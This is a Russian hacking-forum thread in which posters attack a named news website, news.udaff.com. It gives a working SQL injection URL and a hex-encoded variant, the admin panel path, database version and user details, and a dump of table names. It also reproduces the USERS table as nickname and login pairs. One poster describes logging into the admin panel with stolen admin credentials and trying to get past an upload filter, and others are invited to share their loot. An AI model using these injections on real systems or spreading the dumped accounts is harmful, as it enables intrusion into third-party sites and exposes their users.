Форум АНТИЧАТ - news.udaff.com

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - news.udaff.com (https://forum.antichat.xyz/showthread.php?t=31486)

Код:

скуль

http://news.udaff.com/index.php?cat=korresp&korrname=-1' UNION SELECT 1,2,3/*

Код:

админка

http://news.udaff.com/adm/index.php

Код:

version():5.0.30-Debian_1-log

user():news_udaff_com@devil

database():news_udaff_com

Код:

Все таблицы

COLLATIONS

COLLATION_CHARACTER_SET_APPLICABILITY

COLUMNS

COLUMN_PRIVILEGES

KEY_COLUMN_USAGE

ROUTINES

SCHEMATA

SCHEMA_PRIVILEGES

STATISTICS

TABLES

TABLE_CONSTRAINTS

TABLE_PRIVILEGES

TRIGGERS

USER_PRIVILEGES

VIEWS

AUTHORS

COMMENTS

IP_BAN_LIST

NEWS

NICK_BAN_LIST

TEST

USERS

sbmysql

Admins

Articles

Banners

BannersClicks

BannersShows

BlockList

Blog

BoughtContacts

ContactDiscounts

DailyQuotes

FeaturedProfiles

FriendList

GlParams

GlParamsKateg

Guestbook

HotList

IMessages

Links

MemActions

MemActionsTrack

MemLevelActions

MemLevelPrices

MemLevels

Mem_credits

Messages

Modules

Код:

Таблица USERS



Энжынер ИликтраПалафойСвйази:inzzzforever

Джынтельмен удачи:udachi

Ахуефшый Оващ:expenza

Томбеус:samara_rulez

ДОКТОР ЗЛО:vitaleg

Кеды:kedyalex

Кот, каторый патом умир:kotisdead

TheChosen:chosennews

Автобус_мля:alex1980

Polish Torpedo:torpedonews

Микола Питерский:mikolanews

ЛЯПИС:lyapis_news

Dead_Moroz:dead_moroz_news

Гарыныч - трёхгаловый падонак:garynych_news

Викенг:viking_news69

Vint:vintnews

Стоячий корень:koren_news

Дед Крапива:krapiva_news

Хуйивознаетктоблиа:xz_kto_news

Йегор Ильичь:ilyich_news

Фиктор:fiktor_news

асйолл:asioll_news

Мозгун:mozgun_news

Хымек нах:himik_news

Зелёный Кот:green_news

paBLo:pavel_news

Barrett(претт):prettnews

mazahist:maza_news

Хуйфпальто:huinews

Басурманин во как:vokaknews

Растафчанен:rastof_news

Рой Джонс Мл.:roynews

ой Д

Гинирал Власафф:gr_andrey

Евбул:paul_news

Kozlopotam:kozlo_news

Шопесдетс:zhzhun

Козтег:kumar

Чип & Дэйл (б/п):dailchip

Караван:ninez

Лис Биян Песдунофф:skv1000

Наркофон:narkonews

oBrian:brainnews

БИГИМОТ (агромное чиорное кизко):bigkot

Y-jin:kuc2006

Ув. Ктулху:voolkan

Snateiko:snat_nuc

ЗЫ все поддомены на одном серваке...

Цитата:

Сообщение от +toxa+

Спустил ещё ниже из-за полного отсутствия интереса=\

омг! Я думал хоть залатали уже =\

мдя, фильтр на картинки стоит а жаль

Чёто не пашет походу залатали :(

CBuH

Код:

http://news.udaff.com/index.php?cat=korresp&korrname=-1' UNION SELECT 1,0xcfe0ebe820f4e8f8eaf32c20e3e0ede4eef8e0,3/*

Цитата:

Сообщение от +toxa+

CBuH

Код:

http://news.udaff.com/index.php?cat=korresp&korrname=-1' UNION SELECT 1,0xcfe0ebe820f4e8f8eaf32c20e3e0ede4eef8e0,3/*

вот теперь пашет :D спс

2+toxa+
Молодец тох
+

Очень заинтересовала тема, но к сожалению перспектив в ней очень мало... :(
По сути до чего ее можно развить? :( Ну максимум до чего я долез - это вот попал в админку (под админским акком), в которой тоже ничего не сделать, на загрузку картинок фильтр стоит, смена мим типов не помогает... :( Пароли админов подходят только к сабжевому ресурсу и не более... и т.д. :( Ну можно разве что все новости и все комменты почистить, только смысла нет...
Если есть желание - делитесь кто чего достал - будем сравнивать и совместными усилиями может чего и добьемся...